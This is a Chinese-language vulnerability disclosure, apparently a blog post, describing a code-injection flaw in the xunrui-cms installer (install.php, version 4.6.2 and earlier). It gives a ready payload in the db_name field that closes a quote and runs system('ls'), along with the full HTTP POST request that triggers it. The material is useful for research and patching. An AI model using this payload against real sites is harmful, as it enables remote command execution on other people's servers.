xunrui-cms <=4.6.2(官方最新版)

闲来无事挖的

1.漏洞点在install.php

满足如下任意条件可进入安装程序

1.安装程序没有执行过
2.开启了高级开发模式

在install.php中会将对应数据库配置写入文件

可以看到写入了这几个参数,这几个参数都是我们输入的

$data[‘db_host’]

$data[‘db_user’]

$data[‘db_pass’]

$data[‘db_name’]

$data[‘db_prefix’]

其中

$data[‘db_host’]
$data[‘db_user’]
$data[‘db_pass’]
虽然没有过滤,但是会通过这三个参数尝试链接数据库,如果连不上会直接退出,所以是不能注入特殊字符串的
$data[‘db_prefix’]有更严格的过滤,无法注入字符串

那么我们的目光就来到了,唯一的可控点

$data[‘db_name’]

但是这个可控点会首先检测输入的数据是否存在这个数据库,如果不存在尝试创建,如果我们输入的是恶意字符串,数据库是不会创建成功的,在这里就会return,无法到达下面的逻辑,也就谈不上注入了

有没有办法呢?答案是有的,注意到此处使用的是mysqli_quer(),并且里面的sql直接拼接,并没有使用预编译,是可以存在sql注入的

那么我们假如数据为aaaa#xxxxx,这里会创建aaaa的数据库,并且创建成功,#后面的我们可以任意可控,sql语句不执行没关系,我们可以闭合单引号从而注入php代码

在不存在注入的时候,正常的代码是这样的,我们可控的便是database字段的值

尝试注入如下代码

1
AAAA#’];system(‘ls’);exit();[’

request

1
2
3
4
5
6
7
8
9
10
POST /index.php?c=install&m=index&is_install_db=0&step=2 HTTP/1.1
Host: 127.0.0.1:81
User-Agent: python-requests/2.28.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 382

is_form=1&is_admin=0&is_tips=&csrf_test_name=299f64e22a0fd7bf4c7a3f36a4601ba0&data%5Bname%5D=%E6%88%91%E7%9A%84%E9%A1%B9%E7%9B%AE&data%5Bemail%5D=admin%40admin.com&data%5Busername%5D=admin&data%5Bpassword%5D=admin&data%5Bdb_host%5D=127.0.0.1&data%5Bdb_user%5D=root&data%5Bdb_pass%5D=benneng719&data%5Bdb_name%5D=AAAA#'];system('ls');exit();['&data%5Bdb_prefix%5D=dr_&is_install_db=1

可发现单引号已经成功闭合,此时访问任意前台都会include该文件,从而触发php代码的执行

此处为windows环境,实际执行的是dir而不是ls命令